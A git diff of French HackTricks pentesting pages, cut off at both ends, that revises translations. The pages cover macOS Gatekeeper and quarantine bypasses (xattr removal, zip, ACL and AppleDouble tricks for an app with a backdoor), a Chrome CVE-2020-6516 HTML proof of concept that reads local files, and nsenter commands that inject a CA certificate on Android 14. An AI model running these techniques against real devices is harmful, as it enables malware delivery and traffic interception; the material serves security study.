Cependant, les fichiers qui sont sandboxés auront cet attribut défini pour chaque fichier qu'ils créent. Et les applications non sandboxées peuvent le définir elles-mêmes, ou spécifier la clé [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) dans le fichier **Info.plist** qui fera que le système définira l'attribut étendu `com.apple.quarantine` sur les fichiers créés.
|
||||
{% endhint %}
|
||||
|
||||
Il est possible de **vérifier son statut et d'activer/désactiver** (nécessite des droits d'administrateur) avec :
|
||||
Il est possible de **vérifier son statut et d'activer/désactiver** (nécessite les droits d'administrateur) avec :
|
||||
```bash
|
||||
spctl --status
|
||||
assessments enabled
|
||||
|
@ -180,7 +183,7 @@ xattr file.png
|
|||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
Vérifiez la **valeur** des **attributs** **étendus** et découvrez l'application qui a écrit l'attribut de quarantaine avec :
|
||||
Vérifiez la **valeur** des **attributs** **étendus** et découvrez l'application qui a écrit l'attribut de mise en quarantaine avec :
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
|
@ -200,7 +203,7 @@ En fait, un processus "pourrait définir des drapeaux de quarantaine pour les fi
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Code source appliquer les drapeaux de quarantaine</summary>
|
||||
<summary>Code source pour appliquer les drapeaux de quarantaine</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -268,7 +271,7 @@ xattr -d com.apple.quarantine portada.png
|
|||
#You can also remove this attribute from every file with
|
||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||
```
|
||||
Et trouvez tous les fichiers mis en quarantaine avec :
|
||||
Et trouver tous les fichiers mis en quarantaine avec :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -290,7 +293,7 @@ La base de données XProtect est **régulièrement mise à jour** par Apple avec
|
|||
|
||||
Cependant, il convient de noter que **XProtect n'est pas une solution antivirus complète**. Il ne vérifie que pour une liste spécifique de menaces connues et ne réalise pas de balayage à l'accès comme la plupart des logiciels antivirus.
|
||||
|
||||
Vous pouvez obtenir des informations sur la dernière mise à jour de XProtect en exécutant:
|
||||
Vous pouvez obtenir des informations sur la dernière mise à jour de XProtect en exécutant :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -319,7 +322,7 @@ Cependant, maintenant cela n'est plus possible car macOS **empêche la modificat
|
|||
|
||||
## Contournements de Gatekeeper
|
||||
|
||||
Toute méthode de contournement de Gatekeeper (parvenir à faire télécharger quelque chose à l'utilisateur et l'exécuter alors que Gatekeeper devrait l'interdire) est considérée comme une vulnérabilité dans macOS. Voici quelques CVE attribués aux techniques qui ont permis de contourner Gatekeeper dans le passé :
|
||||
Toute méthode pour contourner Gatekeeper (parvenir à faire télécharger quelque chose à l'utilisateur et l'exécuter alors que Gatekeeper devrait l'interdire) est considérée comme une vulnérabilité dans macOS. Voici quelques CVE attribués aux techniques qui ont permis de contourner Gatekeeper dans le passé :
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
|
@ -329,9 +332,9 @@ Consultez le [**rapport original**](https://labs.withsecure.com/publications/the
|
|||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
Lorsqu'une application est créée avec **Automator**, les informations sur ce dont elle a besoin pour s'exécuter se trouvent dans `application.app/Contents/document.wflow` et non dans l'exécutable. L'exécutable est simplement un binaire Automator générique appelé **Stub d'application Automator**.
|
||||
Lorsqu'une application est créée avec **Automator**, les informations sur ce dont elle a besoin pour s'exécuter se trouvent dans `application.app/Contents/document.wflow` et non dans l'exécutable. L'exécutable est simplement un binaire Automator générique appelé **Stub d'Application Automator**.
|
||||
|
||||
Par conséquent, vous pourriez faire en sorte que `application.app/Contents/MacOS/Automator\ Application\ Stub` **pointe avec un lien symbolique vers un autre Stub d'application Automator dans le système** et il exécutera ce qui se trouve dans `document.wflow` (votre script) **sans déclencher Gatekeeper** car l'exécutable réel n'a pas l'attribut de quarantaine.
|
||||
Par conséquent, vous pourriez faire en sorte que `application.app/Contents/MacOS/Automator\ Application\ Stub` **pointe avec un lien symbolique vers un autre Stub d'Application Automator dans le système** et il exécutera ce qui se trouve dans `document.wflow` (votre script) **sans déclencher Gatekeeper** car l'exécutable réel n'a pas l'attribut de quarantaine.
|
||||
|
||||
Exemple de l'emplacement attendu : `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
|
@ -339,7 +342,7 @@ Consultez le [**rapport original**](https://ronmasas.com/posts/bypass-macos-gate
|
|||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
Dans ce contournement, un fichier zip a été créé avec une application commençant à compresser à partir de `application.app/Contents` au lieu de `application.app`. Par conséquent, l'**attribut de quarantaine** a été appliqué à tous les **fichiers de `application.app/Contents`** mais **pas à `application.app`**, c'est ce que Gatekeeper vérifiait, donc Gatekeeper a été contourné car lorsque `application.app` était déclenché, il **n'avait pas l'attribut de quarantaine**.
|
||||
Dans ce contournement, un fichier zip a été créé avec une application commençant à compresser à partir de `application.app/Contents` au lieu de `application.app`. Par conséquent, l'**attribut de quarantaine** a été appliqué à tous les **fichiers de `application.app/Contents`** mais **pas à `application.app`**, c'est ce que Gatekeeper vérifiait, donc Gatekeeper a été contourné car lorsque `application.app` était déclenché, il **n'avait pas l'attribut de quarantaine.**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
|
@ -362,9 +365,11 @@ chmod +a "everyone deny writeextattr" /tmp/no-attr
|
|||
xattr -w attrname vale /tmp/no-attr
|
||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
De plus, le format de fichier **AppleDouble** copie un fichier y compris ses ACEs.
|
||||
De plus, le format de fichier **AppleDouble** copie un fichier incluant ses ACEs.
|
||||
|
||||
Dans le [**code source**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html), il est possible de voir que la représentation textuelle de l'ACL stockée à l'intérieur de l'attribut étendu appelé **`com.apple.acl.text`** va être définie comme ACL dans le fichier décompressé. Ainsi, si vous compressez une application dans un fichier zip avec le format de fichier **AppleDouble** avec un ACL qui empêche l'écriture d'autres xattrs... l'attribut de quarantaine n'est pas défini dans l'application:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
|
@ -402,7 +407,7 @@ aa archive -d test/ -o test.aar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
En étant capable de créer un fichier sans attribut de quarantaine, il était **possible de contourner Gatekeeper.** L'astuce était de **créer une application de fichier DMG** en utilisant la convention de nom AppleDouble (en commençant par `._`) et de créer un **fichier visible en tant que lien symbolique vers ce fichier caché** sans attribut de quarantaine.\
|
||||
Être capable de créer un fichier sans attribut de quarantaine, il était **possible de contourner Gatekeeper.** L'astuce était de **créer une application de fichier DMG** en utilisant la convention de nom AppleDouble (le commencer par `._`) et de créer un **fichier visible en tant que lien symbolique vers ce fichier caché** sans l'attribut de quarantaine.\
|
||||
Lorsque le **fichier dmg est exécuté**, comme il n'a pas d'attribut de quarantaine, il **contournera Gatekeeper**.
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
@ -421,4 +426,8 @@ aa archive -d s/ -o app.aar
|
|||
```
|
||||
### Empêcher la quarantaine xattr
|
||||
|
||||
Dans un bundle ".app", si le xattr de quarantaine n'est pas ajouté, **Gatekeeper ne sera pas déclenché**.
|
||||
Dans un bundle ".app", si le xattr de quarantaine n'est pas ajouté, **Gatekeeper ne sera pas déclenché** lors de son exécution.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -8,15 +8,18 @@ Autres façons de soutenir HackTricks :
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**Il s'agit d'un résumé de l'article [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
|
||||
### Listing des fichiers dans le Media Store
|
||||
Pour lister les fichiers gérés par le Media Store, la commande ci-dessous peut être utilisée :
|
||||
### Listing Files in Media Store
|
||||
Pour répertorier les fichiers gérés par le Media Store, la commande ci-dessous peut être utilisée :
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
|
@ -51,13 +54,13 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
|||
```
|
||||
### Chrome CVE-2020-6516: Contournement de la politique de même origine
|
||||
|
||||
La _Politique de Même Origine_ (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web à interagir avec des ressources provenant de différentes origines, sauf si explicitement autorisé par une politique de partage de ressources entre origines (CORS). Cette politique vise à prévenir les fuites d'informations et les attaques de falsification de requêtes inter-sites. Chrome considère `content://` comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte.
|
||||
La _Politique de même origine_ (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web à interagir avec des ressources provenant de différentes origines, sauf si cela est explicitement autorisé par une politique de partage des ressources entre origines (CORS). Cette politique vise à prévenir les fuites d'informations et les attaques de falsification de requête inter-sites. Chrome considère `content://` comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte.
|
||||
|
||||
Cependant, CVE-2020-6516 était une vulnérabilité dans Chrome qui permettait de contourner les règles SOP pour les ressources chargées via une URL `content://`. En pratique, le code JavaScript d'une URL `content://` pouvait accéder à d'autres ressources chargées via des URL `content://`, ce qui constituait une préoccupation majeure en termes de sécurité, notamment sur les appareils Android exécutant des versions antérieures à Android 10, où le stockage ciblé n'était pas implémenté.
|
||||
Cependant, CVE-2020-6516 était une vulnérabilité dans Chrome qui permettait de contourner les règles SOP pour les ressources chargées via une URL `content://`. En pratique, le code JavaScript d'une URL `content://` pouvait accéder à d'autres ressources chargées via des URL `content://`, ce qui constituait une préoccupation majeure en matière de sécurité, notamment sur les appareils Android exécutant des versions antérieures à Android 10, où le stockage ciblé n'était pas implémenté.
|
||||
|
||||
Le concept de preuve ci-dessous démontre cette vulnérabilité, où un document HTML, après avoir été téléchargé sous **/sdcard** et ajouté au Media Store, utilise `XMLHttpRequest` dans son JavaScript pour accéder et afficher le contenu d'un autre fichier dans le Media Store, contournant les règles SOP.
|
||||
La preuve de concept ci-dessous démontre cette vulnérabilité, où un document HTML, après avoir été téléchargé sous **/sdcard** et ajouté au Media Store, utilise `XMLHttpRequest` dans son JavaScript pour accéder et afficher le contenu d'un autre fichier dans le Media Store, contournant les règles SOP.
|
||||
|
||||
Concept de preuve HTML:
|
||||
Preuve de concept HTML :
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -86,16 +89,20 @@ xhr.send();
|
|||
<body onload="poc()"></body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,14 +6,19 @@
|
|||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Sur une machine virtuelle
|
||||
|
||||
Tout d'abord, vous devez télécharger le certificat Der de Burp. Vous pouvez le faire dans _**Proxy**_ --> _**Options**_ --> _**Importer / Exporter le certificat CA**_
|
||||
|
@ -29,7 +34,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Ensuite, pour **configurer le certificat de Burp**, faites :
|
||||
Ensuite, pour **configurer le certificat de Burp**, faites ce qui suit :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -48,11 +53,11 @@ Une fois que la **machine a fini de redémarrer**, le certificat Burp sera utili
|
|||
|
||||
## Utilisation de Magisc
|
||||
|
||||
Si vous avez **rooté votre appareil avec Magisc** (peut-être un émulateur) et que vous ne pouvez pas suivre les **étapes précédentes** pour installer le certificat Burp car le **système de fichiers est en lecture seule** et que vous ne pouvez pas le remonter en écriture, il y a une autre solution.
|
||||
Si vous avez **rooté votre appareil avec Magisc** (peut-être un émulateur), et que vous ne pouvez pas suivre les étapes précédentes pour installer le certificat Burp car le **système de fichiers est en lecture seule** et que vous ne pouvez pas le remonter en écriture, il y a une autre solution.
|
||||
|
||||
Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8) vous devez :
|
||||
|
||||
1. **Installer un certificat CA** : Il vous suffit de **glisser-déposer** le certificat Burp DER en **changeant l'extension** en `.crt` sur le mobile pour qu'il soit stocké dans le dossier Téléchargements et allez dans `Installer un certificat` -> `Certificat CA`
|
||||
1. **Installer un certificat CA** : **Faites glisser** simplement le certificat Burp DER en **changeant l'extension** en `.crt` sur le mobile pour qu'il soit stocké dans le dossier Téléchargements et allez dans `Installer un certificat` -> `Certificat CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -60,7 +65,7 @@ Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8) v
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Le rendre fiable pour le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **glissez-déposez-le** sur le téléphone, allez dans l'application Magics sur le téléphone dans la section **`Modules`**, cliquez sur **`Installer depuis le stockage`**, sélectionnez le module `.zip` et une fois installé, **redémarrez** le téléphone :
|
||||
2. **Le rendre fiable pour le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **faites glisser** sur le téléphone, allez dans l'application Magics sur le téléphone dans la section **`Modules`**, cliquez sur **`Installer depuis le stockage`**, sélectionnez le module `.zip` et une fois installé, **redémarrez** le téléphone :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -70,13 +75,13 @@ Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8) v
|
|||
|
||||
## Post Android 14
|
||||
|
||||
Dans la dernière version d'Android 14, un changement significatif a été observé dans la gestion des certificats d'autorité de certification (CA) fiables par le système. Auparavant, ces certificats étaient stockés dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs disposant de privilèges root, ce qui permettait une application immédiate dans tout le système. Cependant, avec Android 14, l'emplacement de stockage a été déplacé vers **`/apex/com.android.conscrypt/cacerts`**, un répertoire situé dans le chemin **`/apex`**, qui est immuable par nature.
|
||||
Dans la dernière version Android 14, un changement significatif a été observé dans la gestion des certificats d'autorité de certification (CA) fiables par le système. Auparavant, ces certificats étaient stockés dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs disposant de privilèges root, ce qui permettait une application immédiate dans tout le système. Cependant, avec Android 14, l'emplacement de stockage a été déplacé vers **`/apex/com.android.conscrypt/cacerts`**, un répertoire situé dans le chemin **`/apex`**, qui est immuable par nature.
|
||||
|
||||
Les tentatives de remonter le chemin **APEX cacerts** en écriture se soldent par un échec, car le système n'autorise pas de telles opérations. Même les tentatives de démontage ou de superposition du répertoire avec un système de fichiers temporaire (tmpfs) ne contournent pas l'immuabilité ; les applications continuent d'accéder aux données de certificat d'origine indépendamment des modifications au niveau du système de fichiers. Cette résilience est due à la configuration du montage **`/apex`** avec une propagation PRIVÉE, garantissant que toute modification dans le répertoire **`/apex`** n'affecte pas les autres processus.
|
||||
Les tentatives de remonter le chemin **APEX cacerts** en écriture se soldent par un échec, car le système n'autorise pas de telles opérations. Même les tentatives de démontage ou de superposition du répertoire avec un système de fichiers temporaire (tmpfs) ne contournent pas l'immuabilité ; les applications continuent d'accéder aux données de certificat d'origine indépendamment des modifications au niveau du système de fichiers. Cette résilience est due à la configuration du montage **`/apex`** avec une propagation PRIVÉE, garantissant que toute modification dans le répertoire **`/apex`** n'affecte pas d'autres processus.
|
||||
|
||||
L'initialisation d'Android implique le processus `init`, qui, lors du démarrage du système d'exploitation, lance également le processus Zygote. Ce processus est responsable du lancement des processus d'application avec un nouveau namespace de montage incluant un montage privé **`/apex`**, isolant ainsi les modifications apportées à ce répertoire des autres processus.
|
||||
L'initialisation d'Android implique le processus `init`, qui, lors du démarrage du système d'exploitation, lance également le processus Zygote. Ce processus est responsable du lancement des processus d'application avec un nouveau namespace de montage qui inclut un montage privé **`/apex`**, isolant ainsi les modifications apportées à ce répertoire des autres processus.
|
||||
|
||||
Néanmoins, une solution de contournement existe pour ceux qui ont besoin de modifier les certificats CA fiables par le système dans le répertoire **`/apex`**. Cela implique de remonter manuellement **`/apex`** pour supprimer la propagation PRIVÉE, le rendant ainsi inscriptible. Le processus consiste à copier le contenu de **`/apex/com.android.conscrypt`** vers un autre emplacement, à démonter le répertoire **`/apex/com.android.conscrypt`** pour éliminer la contrainte en lecture seule, puis à restaurer le contenu à son emplacement d'origine dans **`/apex`**. Cette approche nécessite une action rapide pour éviter les plantages du système. Pour garantir l'application de ces modifications à l'ensemble du système, il est recommandé de redémarrer le `system_server`, ce qui redémarre efficacement toutes les applications et ramène le système à un état cohérent.
|
||||
Néanmoins, une solution de contournement existe pour ceux qui ont besoin de modifier les certificats CA fiables par le système dans le répertoire **`/apex`**. Cela implique de remonter manuellement **`/apex`** pour supprimer la propagation PRIVÉE, le rendant ainsi inscriptible. Le processus consiste à copier le contenu de **`/apex/com.android.conscrypt`** vers un autre emplacement, à démonter le répertoire **`/apex/com.android.conscrypt`** pour éliminer la contrainte en lecture seule, puis à restaurer le contenu à leur emplacement d'origine dans **`/apex`**. Cette approche nécessite une action rapide pour éviter les plantages du système. Pour garantir l'application de ces modifications à l'échelle du système, il est recommandé de redémarrer le `system_server`, ce qui redémarre efficacement toutes les applications et met le système dans un état cohérent.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -134,14 +139,14 @@ wait # Launched in parallel - wait for completion here
|
|||
|
||||
echo "System certificate injected"
|
||||
```
|
||||
### Montage par liaison à travers NSEnter
|
||||
### Montage par liaison via NSEnter
|
||||
|
||||
1. **Configuration d'un répertoire inscriptible**: Initialement, un répertoire inscriptible est établi en montant un `tmpfs` sur le répertoire existant des certificats système non-APEX. Cela est réalisé avec la commande suivante:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Préparation des certificats CA** : Après la configuration du répertoire inscriptible, les certificats CA que l'on souhaite utiliser doivent être copiés dans ce répertoire. Cela peut impliquer de copier les certificats par défaut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les autorisations et les étiquettes SELinux de ces certificats en conséquence.
|
||||
3. **Montage de liaison pour Zygote** : En utilisant `nsenter`, on entre dans l'espace de nom de montage de Zygote. Zygote, étant le processus responsable du lancement des applications Android, nécessite cette étape pour garantir que toutes les applications initiées par la suite utilisent les certificats CA nouvellement configurés. La commande utilisée est :
|
||||
2. **Préparation des certificats CA** : Après la configuration du répertoire inscriptible, les certificats CA que l'on a l'intention d'utiliser doivent être copiés dans ce répertoire. Cela peut impliquer de copier les certificats par défaut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les autorisations et les étiquettes SELinux de ces certificats en conséquence.
|
||||
3. **Montage de liaison pour Zygote** : En utilisant `nsenter`, on entre dans l'espace de montage de Zygote. Zygote, étant le processus responsable du lancement des applications Android, nécessite cette étape pour garantir que toutes les applications initiées par la suite utilisent les certificats CA nouvellement configurés. La commande utilisée est :
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
@ -151,12 +156,16 @@ Cela garantit que chaque nouvelle application lancée respectera la configuratio
|
|||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Approche alternative - Redémarrage doux**: Une méthode alternative consiste à effectuer le montage de liaison sur le processus `init` (PID 1), suivi d'un redémarrage doux du système d'exploitation avec les commandes `stop && start`. Cette approche propagerait les modifications à travers tous les espaces de noms, évitant ainsi la nécessité de traiter individuellement chaque application en cours d'exécution. Cependant, cette méthode est généralement moins préférée en raison de l'inconvénient du redémarrage.
|
||||
5. **Approche alternative - Redémarrage doux**: Une méthode alternative consiste à effectuer le montage de liaison sur le processus `init` (PID 1) suivi d'un redémarrage doux du système d'exploitation avec les commandes `stop && start`. Cette approche propagerait les modifications à travers tous les espaces de noms, évitant ainsi la nécessité de traiter individuellement chaque application en cours d'exécution. Cependant, cette méthode est généralement moins préférée en raison de l'inconvénient du redémarrage.
|
||||
|
||||
## Références
|
||||
|
||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -165,8 +174,8 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe [**Discord**](https://discord.gg/hRep4RUj7f) ou le groupe [**telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
